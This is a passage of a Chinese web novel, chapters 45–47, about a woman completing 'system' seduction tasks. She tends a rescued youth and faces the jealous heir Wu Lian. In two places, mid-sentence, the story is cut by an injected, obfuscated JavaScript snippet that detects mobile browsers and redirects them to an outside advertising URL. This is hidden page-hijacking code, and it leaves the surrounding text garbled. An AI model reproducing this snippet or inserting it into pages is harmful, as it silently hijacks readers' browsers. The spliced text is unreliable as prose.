叶冬知本来想说好,但脑海中一声熟悉的声音让她止住了将要出口的话。 【叮!检测到宿主前一个任务已完成,现发布新的任务:为任务目标擦洗身体。】 接收到这个任务的刹那,她在心里大骂了系统好几声。 狗东西,好几个月都没动静,也不发布新任务,一来就给她整个大的。 骂完之后,她又在心里念了几声“罪过”。 她都几乎能想到等会她提出这个要求时,殷水玉的反应该有多么纯情和羞涩。 叶冬知背对着少年“嗯”了一声,然后带着强烈的罪恶感问出了那句话: “我能给你擦洗身体吗?” 殷水玉愣住了。 他似乎是不想相信自己听到了什么。 然而等他明白过来贵女并不是在开玩笑之后,他整个人只觉脑中“轰”地一声。 全身的血液和热气都往脸上涌去,紧接着蔓延到他的脖颈,然后是余下的身体,都因为她这一句话害羞颤抖得不成样子。 他不由得将头往水里缩了几分,慌乱地低声说,“贵、贵女,我自己可以的。” 不是不愿意,相反,对于他来说,这是天大的恩赐。 他曾梦到过许多次,贵女的手抚摸他的脸,他的唇,他的发,他的脖颈手臂,甚至是其他更隐秘的地方。 即使只是在梦中,他也为她的触碰战栗不已,欣喜着、渴望着想要她再多碰碰自己。 但那、那毕竟只是梦,是他的臆想,是他不可言说的秘密。 他从不敢说出口,因为贵女是那样圣洁干净,那么美好,不该被他这样幻想,他对此感到十分羞愧。 更何况,他身上的伤虽然好了,可依然留有许多触目惊心的伤疤。 很丑,很骇人。 他不想被贵女所看见。 叶冬知都不用回头,从他的语气都能听出殷水玉有多慌乱。 她在心里唾弃了自己一番。 然后为自己的禽兽言行找了几句欲盖弥彰的解释:“啊,不用多想,我只是担心你伤势刚好,可能自己不太方便,放心,只帮你擦洗一下后背,不会摸你其他地方的。” 说完,她都不得不感慨一句厚颜无耻啊。 不管她怎么说,面对殷水玉这般像琉璃一样剔透的人,她的任何言行都显得别有企图。 在一开始她攻略殷水玉的时候,就一直有这种心里过意不去的感觉。 有时候她会想,还是邬涟这样的人好,生性傲慢又眼高于顶,攻略的时候做些冒犯的事,她一点也不会有心理负担。 反而有种报复的快感。 殷水玉闻言,潋滟的眼睛晕出些水雾,睫毛也颤了颤。 啊,原来贵女是担心他。 可他居然还拒绝了她,贵女会因此不开心吗? 思及此,他也顾不得她会不会看到他身上丑陋的伤疤,满心只想着她可能会不悦,连忙说:“我愿意的,我愿意的,贵女,您不用自责!” 少年小心翼翼又急切的声音在她背后响起。 那样饱满而真挚。 叶冬知在心里又骂了自己几句,然后强装镇定回过身,朝着浴桶走去。 她尽量让自己目不斜视,目光显得澄澈些。 但奈何少年姿容太过于出众,她的视线不由自主被他所吸引。 简陋宽敞的浴桶中,热水还氤氲着水汽,少年坐在其中,乌黑的发逶迤地铺满了整个水面。 即便看不清他的身体,但能隐约看见水中他白玉般的躯体,上面染着清淡的红。 而少年微垂着头,唇因过于紧张和激动被他咬得越发红,他的眼睛追随着她,一副柔弱无比、任君采撷的模样。 阿蔷好几次在她耳边说殷水玉是个妖精,每每看她的眼神都那么勾人。 平日她还不觉得,可现下,她也快有些受不住了。 叶冬知稳了稳心神,快速挪到他背后,拿起一侧干净的帕子,沾了水,准备为他擦拭。 她单手撩开他背后的头发,露出修长莹白的脖颈和单薄漂亮的后背。 动作间,她免不得会触碰到他,殷水玉绷紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525188|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,咬唇止住他将要出口的低吟。 贵女真的好温柔。 她的手指抚过他肌肤时,他又想落泪了。 能被贵女这样对待,便要下一刻死去,他也是心甘情愿的。 身后水流划过脊背,温暖舒服,她的味道包裹着他,缭绕在他的鼻间。 殷水玉心跳得很快,跳着跳着,他忽然察觉到一丝异样。 身体的反应突然又真实,灼热而难受,他微微动了动,双腿并拢了些,用手将更多的头发撩过来盖在水面之上。 他有些受不了,只得轻声问她,“贵女,好了吗?” 叶冬知慢条斯理擦着他的后背,直到系统的提示音响起。与此同时,她听到他的询问。 她侧目睨着他红得不能再红的耳垂,放下了帕子,“嗯,好了,都擦洗好了,剩下的你自己来吧,我在外面等你。” 这句话让殷水玉如释重负。 再有一小会,他就要彻底控制不住,可能就要让贵女发现他对她有了肮脏的念头了。 等叶冬知出门之后,殷水玉快速收拾好自己,唯恐让她多等一会。 一刻钟后,天色彻底暗了下来,叶冬知带着阿蔷与殷水玉出了门。 想到他以往的经历,路过面具摊前,叶冬知给他买了一张面具,遮住了他的上半张脸。 乖巧的少年跟在她身后,目光一刻不曾离开过她。 相反,一旁的阿蔷脸色臭得出奇。 以前,小姐去哪里都只带她一个人,现在还要带着这个拖油瓶。 刚才的面具小姐也只给他买了,其实她也很喜欢,可小姐都没问她。 阿蔷越想越不爽,见到那殷水玉几乎要黏在小姐身上,她一个大步将殷水玉撞开,替代了他的位置。 被针对的殷水玉愣了一瞬,抬眼看去,阿蔷狠狠瞪了他一眼。 他无助地垂眸,落后了一步。 好在贵女很快发现了,她回过头来,“诶”了一声,“你怎么到后面去了,快过来。” 说着,她朝着他招手。 殷水玉很快又雀跃地跟在她身侧,她指着一侧的东西问他,“这是糖葫芦,你吃过吗?” “小时候吃过。” 叶冬知点了点头,问老板要了三串,一串塞到殷水玉手里,一串给了阿蔷,剩下的,留给了自己。 原本阿蔷心里还有怨气,见到小姐将糖葫芦给她时说,“我记得你喜欢吃梅子,呐,这串是山楂夹梅子的,快吃吧。” 小姐居然记得她的喜好。 阿蔷心头那点怨气顿时消散殆尽,连带着看一旁的殷水玉都顺眼不少。 她接过咬了一口,痴痴笑了。 嘿嘿,真甜。 殷水玉受宠若惊地拿着糖葫芦,心里像泡进了蜜罐。 这是贵女买给他的。 叶冬知吃了一半,阿蔷也快吃完了,回头看殷水玉竟然一口没动。 她问,“是不是不喜欢吃啊?” 殷水玉珍重地将包着油纸的糖葫芦抱在怀里,弯了弯眼眸,“贵女,我很喜欢。” “那吃呀,这个放久了就不好吃了,别心疼钱,吃完了我再给你俩买就是。” “是。”他低低应了声,才小口拆开油纸吃起来。 如果这串糖葫芦不会坏的话,他想,他会一直保存起来。 京都的夜里很热闹,有专门的夜市,等逛完一圈,叶冬知买了很多东西。 吃的用的玩的,但凡是她觉得好的,都给殷水玉和阿蔷买了一份。 当然,她也没亏待自己。 因为东西拿不下,半路她还雇了两个小厮,让人将东西都给她送到侯府去。 凉风习习,在燥热的盛夏吹起来很是舒服。 街上的人逐渐少了,她也带着阿蔷和殷水玉准备回府。 夜晚的侯府挂着明亮的灯笼,足以照亮门前所有石板。 叶冬知今夜玩得尽兴,一路说说笑笑到了门口。 她正偏头与身侧的少年说话,少年温顺地垂头,满目珍视地看着她。 忽而,她冷不丁听到一个无比熟悉,却又有些陌生的声音。 那道声音很冷很沉,盛夏的燥意都遮不住分毫。 “天色这么晚,叶小姐终于知道回府了。” 叶冬知心里涌起一阵不祥的预感,抬眼望去,一身墨袍的青年眉目沉冷,容色不悦,正站在台阶上,居高临下的看着她。 邬涟扫过她怔愣的神色,心头低嗤了声。 原本回京需要半月,他快马加鞭十日便回来了。回来的路上他想起她很多次,但见她这幅模样,像是把他早已忘了个干干净净。 随后,他敛眸,将视线落在她身后。 那个戴着面具,也能看出姿色不凡的少年身上来。 46. 第 46 章 少年未及弱冠,不及成年男性健硕,自带一股羸弱的气质。 但他露出的下半张脸却昳丽非凡,琉璃玉一般的肌肤,粉玛瑙一般嫣红的唇,轮廓流畅消瘦,身形挺拔,腰肢劲瘦。 邬涟没意识到,在他的视线落到殷水玉身上时,不可自抑地沉了几分。 叶冬知反应过来原是邬涟回京了,于是客套地打了声招呼。 “大公子回来了啊,一路辛苦。” 语罢,她便准备带着阿蔷与殷水玉进府。 疏离冷淡的语气,平静无波的目光,这一切都让邬涟感到十分不适应。 他南下三月回来,她没有任何变化,正如他离府之前一样。 在苏州的那三个月,他其实想过为何在发生那件事之后,不过短短一日,她对他的态度就有如此翻天覆地的变化。 分明前一夜还与他极尽缠绵,可第二日对他却能做到如同陌生人一般。 当时他思绪混乱,告诉自己都是因为他一而再、再而三地拒绝了她,才让她如此。 他也用这个理由说服了自己,对于当时的他而言,南下的日子,正是一个他忘记她的好机会,又或者是让两人关系回到当初的契机。 可渐渐地,他开始有了些不甘心。 凭什么呢。凭什么这样对他呢。 他的所有第一次,有关情爱的经历,全都拜她所赐。 如今,她却想就此抽身。 邬涟思绪有些飘远,站在府门中间巍然不动,叶冬知绕过他时,听得他突然道: “他是谁?” 叶冬知的脚步顿住,顺着他的视线看过去,才知道他说的是殷水玉。 “我院内伺候的。” 她回答得十分言简意赅,不仅隐瞒了少年真实的来历,还下意识地在维护他。 邬涟的眉头微微皱起来,他不喜欢她这样,也不喜欢那个低眉敛目的少年。 所以,他沉声,“府里所有伺候的下人都是通过靠谱的人牙子采买,虽在府中为奴,亦身世清白,不是任何阿猫阿狗都能进来的。” 这句话其实有些刻薄了。 叶冬知听了出来,她讽刺地扬了扬唇,“大公子还是不要管我的事为好,你不是已经有过教训了吗。” 她攻略他的时候他百般拿乔,现在攻略目标都换了,他再凑上来,她可不稀罕了。 邬涟被她这句话怼得一时不知说些什么。 自从那夜过后,她对他,可谓是一点好脸色都没有。 说完后,叶冬知继续朝前走,身侧的少年乖巧地跟在她身侧,却被邬涟拦下。 殷水玉不解地停住了,他微微抬眸去看,却对上对方如冷箭般锋利冷厉的眼神。 “既在我府上为奴,便将面具摘下,遮遮掩掩,成何体统。” 他倒想看看,信中说美貌异常,究竟是出色到何等地步。 长安在一旁看着,心里叹了口气。 真是当局者迷旁观者清啊,瞧瞧公子都醋成什么样了,只怕自己还没发现吧。 殷水玉并不识得面前的人,但他从小浸在声色犬马的地方,立刻便看出眼前这青年对自己有明显的敌意。 不是阿蔷那种敌意,而是另外一种,一种情爱之中的占有欲和妒忌。 也是瞬间,他明白了眼前的青年同他一样,喜爱着贵女。 但他不愿摘下面具,面具是贵女亲手给他戴上的,他自己都舍不得摘下来,怎能听旁人的摘下呢。 而且,他是贵女救下的,他此生,只听贵女一人的话。 叶冬知看出殷水玉不愿意,也不解邬涟今夜从何而来的怒气,她一心维护身侧的少年,扬声对邬涟道: “他不愿意,你为何要逼着他摘下面具,难道便因你身份高贵,就要强迫他人做自己不愿之事?” “大公子,你何时变得这般咄咄逼人了?” 咄咄逼人? 听到这个词的时候,邬涟怔愣了刹那,随即情不自禁冷笑了一声。 他没想过,有一天,这个词能从她的口中出来,还是形容他的。 难道过往她对他做的每件事,都算不上“咄咄逼人”吗? 为了早些见她,他昼夜兼程赶路,她第一时间看见他,没有过问他这一路是否辛苦,反而一来就指责他。 他的唇动了动,终是没有说出话来。 长安在一旁差点看乐了,哎呀,真是稀奇,公子怎么脸色这么难看,叶小姐可真厉害,三言两语能将公子气得说不出话来,她可比朝堂那些大人还厉害。 殷水玉嗅出了剑拔弩张的气氛,他不想要贵女为他同别人争论,也不愿意她为难。 于是,他伸手主动摘下了面具。 庄严的朱漆铜门前,在灯笼澄黄烛光的照耀下,少年的在面具摘下那一瞬,仿若溢彩流光,精致绮丽得如画中人。 长安呆住了。 第一次见到能与公子一较高下的相貌,关键是,这少年眉眼没有公子的冷清锋利,相反柔美妩媚,让人不由自主便心生怜爱。 难怪叶小姐总是为他说话。 嘿嘿,公子这回,可有生不完的气了。 殷水玉才将面具摘下片刻,就被叶冬知戴了回去,她将面具的绳结系好,少年便顺从弯腰地低头配合她,以免她踮脚太累。 系好后,她语气冷了不少,“别勉强自己,不用听他的。” 邬涟站在原地,清清楚楚地目睹了一切,只觉胸口闷得他喘不上气。 她竟然当着他的面,与另一个男子如此亲密。 但他终究还有理智,只是再开口时,语气冷得几乎要结冰。 “我三月未在府中,你便忘了自己的身份吗。” “身份?”叶冬知轻飘飘扫了他一眼,“什么身份?不是早就划清界限了吗,大公子既然与我没有什么关系,何必做出如此情态,真要论身份,我还是你的长辈,管不了我。” 言毕,她没再看他,只朝着那少年温柔招手,“过来,我们回去了。” 周遭陡然陷入一阵死寂的沉默。 邬涟唇紧紧绷着,眼瞳沉如黑墨,立在原地,盯着二人离去的背影,手团成拳藏在袖中,青筋尽数显现。 长安悄悄远离几步,默默搓了搓手臂。 没记错现在是七月吧,他怎么觉得这么冷,罢了,今晚回去喝碗姜汤吧,约摸着骑马回来的路上淋了些雨导致的。 回去的路上,月亮高悬在天幕之中,即便没有灯笼,脚下的路也隐约能看见。 阿蔷离府门有些远了,才长舒一口气。 方才大公子那样可吓死她了,她腿都吓软了。 整个府中,除了侯爷,便只有小姐不怕他了。 想着,阿蔷不由得叽叽喳喳起来:“方才大公子为何那般生气啊?难道是见小姐救了个人回来,没告诉他,他便气了?” 叶冬知笑了一声,“谁管他心里如何想的,他素日就爱拉着张脸,你又不是第一日才晓得。” “可是奴婢看大公子好像不喜欢殷水玉啊,若是被府里见风使舵的人察觉,估计......”说着,阿蔷瞥了一眼身后沉默的少年,“估计要给他使绊子呢。” 叶冬知眉头拧了起来,半晌才道,“他就留在我院子里,别的人就算想欺负他,也得先问过我不是,好歹我也是半个主子不是。” 主仆二人说了好一会,骤然才发现身后的人自府门处到现在一言未发。 虽然知道殷水玉是个乖巧少言的性子,但前面逛夜市的时候,他也是偶有说话的,不像现在,恹恹的,一点声音都没有。 叶冬知放慢了脚步,扭头问他,“在想什么?” 殷水玉闻言才抬起眸,眼神中已然黯然不少,低声说,“贵女,方才那便是府中的大公子吗,我听说他还在朝中任职,是如今最得圣心的人。” 叶冬知想了想,虽然她不喜邬涟那副高高在上的样子,但他的能力的确无可挑剔,“对,怎么了?” 等她说完,殷水玉又沉默了。 方才对方打量他的时候,他也看见了对方。 以往,他最自得的便是自己的容貌,可以说他几乎没有见过容貌胜过自己的人。 可方才,他看见了。 不仅是容貌,周身的仪态、气质,谈吐间的从容自信,比他超出了千千万万倍。 更重要的是,那人出身清贵,年轻有为,就这一点,他此生都难以企及。 而且,他可以确定,那人也喜欢着贵女。 一想到这些,他便觉得心在不断往下坠,控制不住地胡思乱想。 他脸上的失落压根藏不住,叶冬知一眼就发现了。 她以为他是在为方才邬涟为难他的事苦恼,便宽慰他,“是不是还在想刚刚的事?放心,他也就嘴皮子厉害,不会真对你做什么,而且,不是还有我吗,我可不能让我身边的人被欺负了去!” 然而这些话殷水玉却大部分都没听进去,他只听到了那句“他也就嘴皮子厉害,不会真对你做什么”。 “贵女,您好像很了解那位公子。” 他用的是肯定且陈述的语气。 叶冬知忽而顿住了。 连她自己也没发现,她可以这么自信地说出一句描述邬涟的话。 她笑了笑,避开了这个话题,“算了,别提他了,今夜玩得还尽兴吗?” 殷水玉不想搅扰她的兴致,弯弯眼眸回应,“嗯,我很欢喜。” 说话间,几人已行到住处。 “那就好,天色也很晚了,那今夜早些歇息吧。” 殷水玉看着她的身影消失在门口,在原地愣了一会,才推开了自己房屋的门。 没关系。 贵女现在喜欢他多一点,他还会很多取悦女子的手段,他会让贵女再多欢喜他一些的。 * 夜色沉沉,玉笙居院内依旧还亮着灯火。 邬涟已经沐浴,穿着中衣,外披着一件玄色外衫,散着的头发还有些湿,在夏日的夜里冒着些隐约的水汽。 屋内跪着的满贵战战兢兢,眼睛盯着地面,不敢抬头,背后早就被汗浸湿了一大片。 方才他还在屋内睡觉,不知道怎么回事,只觉一阵天旋地转,等他睁眼时,大公子就好整以暇地坐在他面前。 他平日只是个洒扫院子的杂役,是压根见不到大公子的。 长安道,“公子,人带过来了,自从那少年被捡回来,一直都是他在照顾。” 邬涟垂眸,手指在桌边有一搭没一搭地敲着,敲得满贵几欲要瘫倒在地。 “从你照顾那少年的第一天说起,发生了哪些都一一道来。” 满贵不敢怠慢,慌忙道:“回大公子,奴是被叶小姐选中伺候殷水玉的,当时他刚被叶小姐带回来的时候,浑身都是伤,眼也瞎了,手脚都断了,连嘴上还有一道伤。” “奴给他喂药,他不肯喝,之后都是叶小姐亲自给他喂药,他才喝的。” 听到第二句话时,长安暗道不好。 果然,他用余光看见公子今夜本就沉的面色,在听到那句话后更是沉得几乎能拧出水来。 “她亲自喂?喂了多久?” “回大公子,整整三个月。其实大约一个月的时候,那殷水玉的手就已经好得差不多了,可以自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525189|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝药,但是不知为何,叶小姐依然继续给他喂药。” 长安已经不敢看邬涟的脸色了,明明室内舒适静谧,但他却偏偏觉得有一股山雨欲来的味道。 邬涟闭了闭眼,神色仿佛并无太多波动,“你继续说。” “是。” “不光如此,叶小姐为了救他,花费了好多银子从外面的药铺购入名贵药材,哦!对了,那殷水玉唇上的伤疤,是叶小姐给了他一瓶祛疤膏才祛除的,听说那药很是名贵呢,外面买也买不到。” 长安暗叫,完了,全完了。 这满贵也太实诚了,真就一点细节都没遗漏。 那祛疤膏,若是他没记错的话,应该是之前公子送给叶小姐的那瓶,是贡品,天下只有两瓶,一瓶在皇宫,一瓶在公子手里。 当时是叶小姐为公子挡了剑,公子心疼叶小姐留疤,给她的。 现下,这瓶药用在了一个来路不明的、疑似公子情敌的人身上,不敢想公子得气成什么样。 室内静默了许久,烛光跳跃着,将主位之人的影子拉长,直至疯狂扭曲。 邬涟慢条斯理抿了口茶,“说完了?” 满贵结结巴巴道,“是、是。” “出去吧。”随着这句话,满贵悬着的心终于落了地。 他蹑手蹑脚从地上爬起来,慢慢退出屋子。 等出了门,确保里面的人看不见了,他才敢用袖子擦擦额头上的汗。 太吓人了,即便大公子什么都没说,就坐在那里,他都能感觉一阵无孔不入的压迫感,这股感觉令他头脑一片混乱,丝毫不敢撒谎。 虽然二两银子的月例很诱人,但大公子的威压更骇人。 满贵一边走一边在心里默念,对不住啊叶小姐,实在是他扛不住了。 屋内。 长安睨着主子的脸色,小心翼翼道,“公子,时辰不早了,可要歇息了?” 邬涟敛眸,没搭理他,“叫你查的事情如何了?” 长安想起来,在苏州收到第二封信时,公子便吩咐他着手调查这殷水玉来历一事。 思及此,他正色,“都调查清楚了,这殷水玉出身贫寒,饥荒时,父母为了一口吃食将他卖给了人牙子,此后他辗转多次被卖到花楼、小倌馆等地,但都想办法逃了出来,直至半年前落到了安南王世子手上,从西凤山一路逃跑,最终被叶小姐救下。” “被她救下时,是精心策划,还是意外?” “属下查过了,确实是意外。” 等长安说完,邬涟挥了挥手,示意他出去。 盛夏炎热,洗过的头发很快便干了。 子时,邬涟躺在榻上,翻来覆去睡不着。 按理来说,他骑马日行百里,连行三日,这会应当困倦得不行。 但他只有身子乏累,脑子却无比清醒。 就这样耗到了天明,直到天色蒙蒙亮起,榻上的人才睡了过去。 因着昨夜邬涟才回来,府里众人都已食过晚膳,便未特意迎他。 今日一大早,府内便开始准备家宴需要用到的东西。 午时,递话的小厮将话带给叶冬知,告知她晚上需得去正厅,为邬涟接风洗尘。 叶冬知懒懒地倚在贵妃凉椅上,困倦地应了声。 殷水玉在一旁为她打扇。 他侧目看着贵女,她头发微有些凌乱,唇微微撅起,有几分被惊扰了好觉的不满。 灵动得令他移不开眼。 他心神激荡,试探着开口:“贵女,晚些可以让我为您上妆吗?” 闻言,叶冬知动了动,歪着头看他,似是十分惊讶,“你还会上妆!?” “嗯。”他微微红着脸,“以前耳濡目染学了不少,贵女喜欢什么样式的?” 她想了想,“我也不知道,平日都是阿蔷给我上的,你看着来吧。” 殷水玉轻声应下了。 夜幕降临,叶冬知坐在琉璃镜前反反复复打量自己。 镜中少女黛眉轻蹙含韵,杏眼澄净如秋水,容貌秾丽却不艳俗,自有一股风流韵致。 她满意而惊艳地夸赞道,“你的手艺可真好,若之后能以此谋生,也不用愁了!” 殷水玉原本羞涩雀跃的神色在听到她后半句话时急转直下,少年眼尾顷刻红了。 “贵女......你是要赶我走吗?” 闻言,叶冬知怔了下,她怎么一不留神把真心话说出来了。 往后若是能顺利攻略成功,她自然要在走之前为他谋个出路,但不能叫他知晓。 最近她问过系统,攻略进度已经过半,比那时攻略邬涟,不知快了多少,还不会动不动就触发要她哄的任务。 她想,她离那天不会太远了。 想着,她连忙改口安抚,“没有啊,我只是想着,万一我以后出了什么意外,你能自食其力,那便是最好的了。” 可这句话非但没能让少年心安,他蹙眉,眼中的哀伤和害怕几乎要溢出来,“不会的,贵女!您会长命百岁,事事无忧!” “所以,您也不要赶我走,我想一直为您上妆。” 她抬手摸了摸他的发顶,如安抚孩童一般,“不会的,我跟你保证好吗?别哭,你哭了我会觉得良心不安的。” 殷水玉果然止住了将要落下的眼泪,他盯着面前的少女,心才安定下来,低低应了声。 上完妆选好衣裳,叶冬知起身前往正厅。 殷水玉站在院门口,目送她的身影远去,直至彻底看不见了才不舍收回目光。 他垂眼失落地想,想必今夜,贵女又会见到那位公子,也不知他们会说些什么。 47. 第 47 章 夜幕降临。 侯府的正厅,下人们正忙着布菜。 正厅一般是用来招待贵客的,自从永定侯常年待在边疆之后,侯府虽不至于闭门谢客,但也拒绝了许多的人情往来。 偌大的侯府显得有些冷清,只有逢年过节时,府中的人才会在一起聚聚。 正厅宽敞,正中设一张紫檀大案,案上摆着青瓷花瓶与玉如意。两侧分列太师椅,铺着素色锦垫,顶上悬一盏宫灯,地面铺着青石板,两侧立着落地屏风,其上雕刻缠枝花鸟。 叶冬知到时,已经有好几人已落座。 邬涟居主位,邬彦、邬雯两兄妹分坐于两侧,老夫人今夜抱恙未来,说是要在院内养病。 其余还剩下两个座位。 同以往一样,她坐在了邬彦的身侧。 上个月,邬彦已及冠,今年的春闱也取得了不错的成绩,虽比不上邬涟,但在世家子弟中也不算磕碜。 张姨娘这几月一直在为邬彦张罗婚事,想看了好几户人家的小姐,都没有满意的。 门第高的嫡女,自是看不上邬彦一个庶子的身份,有着邬涟在侯府,怕是他这辈子都继承不了爵位。 四五品官员家的女儿,张姨娘又嫌弃门第低了,永定侯府可是一等侯府,娶个小门小户的嫡女,又在前途上于邬彦无甚助力。 是以,今夜家宴,邬彦神色恹恹,直至她来,脸上才有几分笑容。 简单的寒暄过后,叶冬知便没有再开口了。 但她仍觉有一道视线似有若无地落在她身上,等她望过去时,却又什么都没有。 几人等了一会,那张空置的椅子,始终没等到人,邬涟道,“不等了,开宴吧。” 话音刚落,便听到一道笑声自雕花垂门处传来,语气婉转: “哎,方才我有事耽搁了,才来得晚些,大公子不会气我故意怠慢你吧,毕竟今个儿可是你的接风宴。” 叶冬知循声望去,一个半老徐娘在几个侍女的簇拥下徐徐走来。 她年纪约摸着不到三十五六,长相娇媚张扬,身段丰腴有致,着粉衣,戴着昂贵繁复的头饰,此人正是府内唯一的姨娘,邬彦两兄妹的生母,姨娘张氏。 邬涟懒得计较她那点小心思,只道,“无妨。” 张氏摇着团扇款款落座,正与叶冬知面对面,她不动声色地上下打量了下对面的少女,眼底厉色沉了几分,然后面上仍一派得体和善。 “哟,这就是侯爷的未婚妻吧,平日深居简出的,我倒是难得看见一回,长得真是水灵,也难怪侯爷念念不忘了。” 话说得没什么问题,但不难听出里面的嫉妒。 不过也很容易想通,她为永定侯生了两个孩子,熬到了正室去世,侯爷也没再纳妾,到现在二十个年头了,居然还没扶正。 张姨娘出身也不算很低,四品官员家中的庶女,若扶正,倒也不算不合规矩。 她等了许久,直到两年前才向侯爷提了一嘴,本以为自己终于能坐上正室的位置,但奈何半路杀出一个叶冬知,生生抢走了她唾手可得的一切。 连带着她两个孩子,这辈子都只能顶着庶出的名头。 更令她心里不舒服的是,她精心培养的儿子,居然对这小浪蹄子有别样的心思,想到此处,张氏的眼神越发不善起来。 叶冬知自然也听出了,她凉凉道,“张姨娘谬赞了,哪比得上您风韵犹存。” 不咸不淡的一句话,张氏扯了扯嘴角,又忽而道:“听说叶小姐前些日子捡了个人,长得那叫一个漂亮,不过我还是要多奉劝叶小姐一句,都马上要嫁为人妇了,留些下人伺候是应当的,但长得这般出色的,就不必要了吧。” 今夜的接风宴叶冬知本就不太想来,听得张氏阴阳怪气的样子,本想怼回去,继而眼神一转,有了主意。 她朝着身侧的邬彦柔声道,“二公子,我想吃那道清蒸鳜鱼,你帮我夹一些嘛。” 细细软软的调子,带着撒娇的意味,邬彦当即就红了耳根,低声应道,“好、好的。” 看着自己儿子那副被美色迷得找不着北的模样,张氏绷不住了,声音都尖利了起来。 “叶小姐,这不是有下人伺候吗?” “我们彦哥儿已经和太仆寺家的嫡小姐定亲了,可不是什么人都能使唤的。” 叶冬知吃着被邬彦静心挑选的鱼腹,捂嘴装作惊讶道,“啊,是吗?那真是恭喜了。” 太仆寺是三品官职,算是邬彦能攀上的最好的门第了。 见到自己姨娘得意洋洋的样子,邬彦没忍住了叫了一声,“您说什么呢,八字还没一撇呢,哪就定亲了?!” 被戳穿的张氏脸上一阵涨红,心里狠狠骂了句,自己肚子里出来的居然还帮着外人呛她,真是个白眼狼。 邬雯看着方才那幕,冷笑两声,哥哥不争气就算了,怎么姨娘也这么蠢了,真不知道自己怎么就从她的肚子里出来了。 若是自己出自去世的侯夫人,说不定现下,早就与裴砚定亲了。 都怪姨娘没本事,这么多年都没扶正,想到此处,她又暗中瞪了叶冬知一眼,对了,还有她,也不是什么好东西。 邬涟将几人的动作神态尽收眼底,他冷声道,“若是今夜是来拌嘴的,大可回去,也不必非要来这一趟。” 顿时,几人都噤了声。 说到底,斗过来呛过去,没人敢真正触邬涟的霉头。 桌上顿时安静不少,叶冬知觉得无趣,随便用了几口,便借口离席准备回去。 这顿饭吃得众人都心不在焉,很快,几人都各自散去。 今夜月色不如往日,清月被云遮住了大半。 其间有风,穿过正厅与垂花门,惹得枝头的花微微颤动。 叶冬知走进垂花门,突而听到身后传来一阵脚步声。 她觉得有些奇怪,她的住处与其他人都不同路,若要回自己的住处,不该走这条路。 脚步声不远不近地跟着她,既不过于贴近,也未隔得太远。 又行了一会,她没忍住回头看。 过了垂花门之后,是一条僻静的小路,两侧种有梧桐,这个时节,梧桐枝繁叶茂,将本就不太明亮的月色遮得越发透不进来。 玄衣墨发的青年站在离她几步远的地方,微垂着眼,浓而纤长的睫毛盖住他眼中的神色,令人无法窥探其一分一毫的情绪来。 “大公子还有什么事吗?” 她开口问他,语气一如既往地疏离。 邬涟抬眸,语气冷沉,但说的话却十分直白。 “那瓶药你为何给旁人用?” 叶冬知愣神想了下,才明白原来今夜,邬涟是兴师问罪来了。 但她自认没什么需要解释,“你送给我的,便是我的,既然是我的东西,难不成给谁用还需要向大公子请示吗?” 没有解释,只有可以称之为质问和不悦的一句话。 邬涟朝前挪动脚步,自梧桐中的阴影走了出来,星星点点、零碎的光落在他脸上,竟然看起来有几分落寞。 是错觉吧。 叶冬知撇开目光,视线重新回到他的面上。 “那是我给你的,那药,除了皇宫,天下也就只有这一瓶。” 他的语气很平静,但只有他自己知道,他心里却并不如这语气一般。 那个叫做殷水玉的少年,可以轻而易举地从她那里获得一些他珍视不已的东西。 但在他说完之后,对方显然没有意识到这瓶药有多珍贵,甚至连语气都有些发笑。 “大公子这是在质问我吗?你若是舍不得那瓶药,一开始就不该给我,要不我回去问问阿玉,看他那里还有剩的没,有的话给你送回去。” 阿玉。 她这样唤那个少年。 是故意的,还是说已成了她的习惯,他们之间,已在他不在的日子里,亲密到了这种地步吗? 邬涟绷着唇角,“你知道我不是你说的那个意思。” 叶冬知走近两步,抬头看他,“那是什么意思?大公子说话总是这样不清不楚的,我又不是你肚子里的蛔虫,怎么知道你心中到底是如何想的。” 其实她自己也觉得有些奇怪,自从攻略失败后,她对邬涟说话,便一直是这个语气。 也许其中有些埋怨吧,埋怨任她当时费尽心思去攻略他,却只得他冷言冷语,如今她说话刺他,心中没有一丝愧疚。 说完这句话,周遭沉默下来。 半晌,风吹过,梧桐树叶沙沙作响,邬涟说,“虽然此次义父应召急征,不知何时才能归来,你不该对那少年太过上心,你与他男女有别,又有主仆之分,不合规矩。” 闻言,她冷笑一声。 “邬涟,你少在这里冠冕堂皇,我与你做的事比他亲密太多,如今也没见大公子要与我疏远,反而还巴巴地来寻我。” “怎么,忘不了那一夜?” 最后几个字恍若重锤敲在邬涟心上。 这些日子,他不敢面对、不敢承认的事实,终于在此刻被她赤裸裸、毫不留情地揭开了。 刹那间,他的脸色一阵红一阵白,垂在身侧的手攥了又攥。 难得见到他这幅哑口无言的样子,叶冬知还有些稀奇,不由得又凑近了些,语气恶劣地调笑: “被我说中了?” “发生那件事后的第二日,那么热,你还穿着好几层衣服,想必,我留下的吻痕都很明显。一想到你顶着这身痕迹还要在你义父面前扮演一个克己守礼的好儿子,我就忍不住想笑。” 她向来能说会道,便如此刻,说得他耳根燥热,心绪起伏,可她仍没有一丝羞赧。 说完,她似乎还有些意犹未尽,甚至拿手指戳了戳他的胸膛,引得他身子陡然一僵。 “忘不了的话,不如再体验一次。” 说着,她的手指探进他的衣领,作势要掀开那层薄薄的外衫。 